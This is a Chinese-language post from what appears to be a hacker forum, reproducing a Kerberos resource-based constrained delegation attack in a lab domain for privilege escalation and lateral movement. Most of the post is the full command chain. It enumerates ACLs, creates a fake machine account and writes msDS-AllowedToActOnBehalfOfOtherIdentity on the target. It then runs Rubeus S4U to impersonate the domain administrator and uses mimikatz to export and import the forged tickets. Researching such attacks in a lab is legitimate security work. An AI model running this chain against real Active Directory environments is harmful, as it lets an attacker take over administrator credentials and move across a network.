• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

资源委派(提权/横向移动)


This Wind

Recommended Posts

 

 

早在之前看一篇名为”烂番茄提取”的文章的时候就想复现,后面一直没用成功。昨天在搞ACL的时候发现kerberos资源委派提前权,一看。说的不就是这吗,捣鼓了一下写篇文章

介绍

利用用户的ACL(msDS-AllowedToActOnBehalfOfOtherIdentity)属性配合kerberos S4U实现凭证伪造
(原文章没怎么说原理,烂番茄那篇说的有点复杂。我可能没有描述完整(甚至可能有错误),如果想深入了解原理可以看原文
https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/)

使用msDS-AllowedToActOnBehalfOfOtherIdentity属性实现横向/提权
msDS-AllowedToActOnBehalfOfOtherIdentity介绍:ms-DS允许代表其他身份采取行动

利用要求:

* 目标DC是windows server 2012或以上
* 域用户拥有ACL GenericAll/GenericWrite/WriteProperty权限(使用目标域用户加入域的时候默认自带这些权限)
* 目标机器名称
* 域管理用户名称

测试环境

domain:YAYI.local (原本叫domain.local那个域被我玩炸了…重装了)
域管用户:yayis
ip:192.168.113.132 DC
ip:192.168.113.223 YYC (域内主机)

用到的工具:

  • powerview
  • Powermad
  • Rubeus
  • mimikatz
  • impacket工具套件

复现过程

首先进行ACL权限检测,当前域用户是否有权限创建新的计算机。能利用的ACL为
(GenericAll/GenericWrite/WriteProperty)

import-Module Powerview.ps1
Get-ObjectAcl -SamAccountName "YYC" -ResolveGUIDs | out-file save.txt #搜索自己的UID和搜索关键字GenericAll/GenericWrite/WriteProperty

拥有其中一个ACL权限即可
adfjqx.png

获取域控名称和ip(确定域控版本和系统)

Get-DomainController
adhkQA.png

查询一个域用户最多可以创建多少台计算机

Get-DomainObject -Identity "dc=YAYI,dc=local" -Domain YAYI.local
adhQzj.png

查询目标机的msds-allowedtoactonbehalfofotheridentity是否被写入

Get-NetComputer YYC | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity
adh0SJ.png
adh6w6.png

创建一个计算机用户

import-module powermad
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose #新建一个计算机账户,密码为123456。
adh4ld.png

查询新创建的计算机用户的SID

Get-DomainComputer fake01

SID:S-1-5-21-2210433587-4071140994-1849857373-1122
adhLtS.png

为FAKE01计算机主体创建一个新的原始安全描述符

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2552734371-813931464-1050690807-1154)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

(实验的时候打错SID了就不贴图了)

修改目标计算机SID

Get-DomainComputer YYC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

忘记截图了,拿文章的图代替一下。。
ad4aHP.png

提醒-我们之所以能够这样写,是因为Account Operators于安全组进YAYI\Account Operators,尽管唯一重要的/足够的是写权限,但它可以完全控制目标计算机YYC$
(原文写的是 Operations用户,不过我找不到这个。到找到了Account Operations)
ad4r9g.png

自己实现时找到的
ad42Bq.png

一旦msds允许作为其他身份被设置,它在这里是可见的
ad4ICF.png

同样的道理也可以这样看

Get-DomainComputer YYC -Properties 'msds-allowedtoactonbehalfofotheridentity'
ad4qD1.png

配置FAKE01的机器绑定到YYC的机器

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2210433587-4071140994-1849857373-1122)" #这里的SID为新加的计算机账户的SID
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer YYC| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
ad5S8e.png

获取hash

.\Rubeus.exe hash /password:123456 /user:fake01 /domain:YAYI.local
ad5pgH.png

RC4 hash:32ED87BDB5FDC5E9CBA88547376818D4

伪造域管理员的凭证导入 (这个凭证只能在YYC上使用)

.\Rubeus.exe s4u /user:fake01$ /domain:YAYI.local /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:yayis /msdsspn:host/YYC /altservice:cifs,host /ptt #导入cifs和host的票据,不导入host票据无法正常使用spexec ?(host票据包含cifs票据)
ad5UxJ.png
ad5dM9.png

如果要在别的机子上使用kerberos的凭证,则需要impacket的pyGet.py或者mimikatz导出ccache

mimikatz.exe "kerberos::list /export" "exit"
ad5sIK.png
ad5gRe.png

导入凭证利用,可以使用mimikatz或者set命令

mimikatz "kerberos::ptc yayis.ccache" "exit"
使用set命令,set KRB5CCNAME=yayis.ccache
ad5hqI.png
ad55Zt.png

其实后面还有一点,这个复现的不是很成功。后面的内容有点乱,写出来容易搞混,就不写了
上面提到的ACL一台机器使用域用户连接DC的时候就已经把ACL设置留下来了。我觉得使用powerview
对着每台机器查有权限控制这台机器的SID,可以横着走。(纯属理论,实际上有待测验)

参考链接

 
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now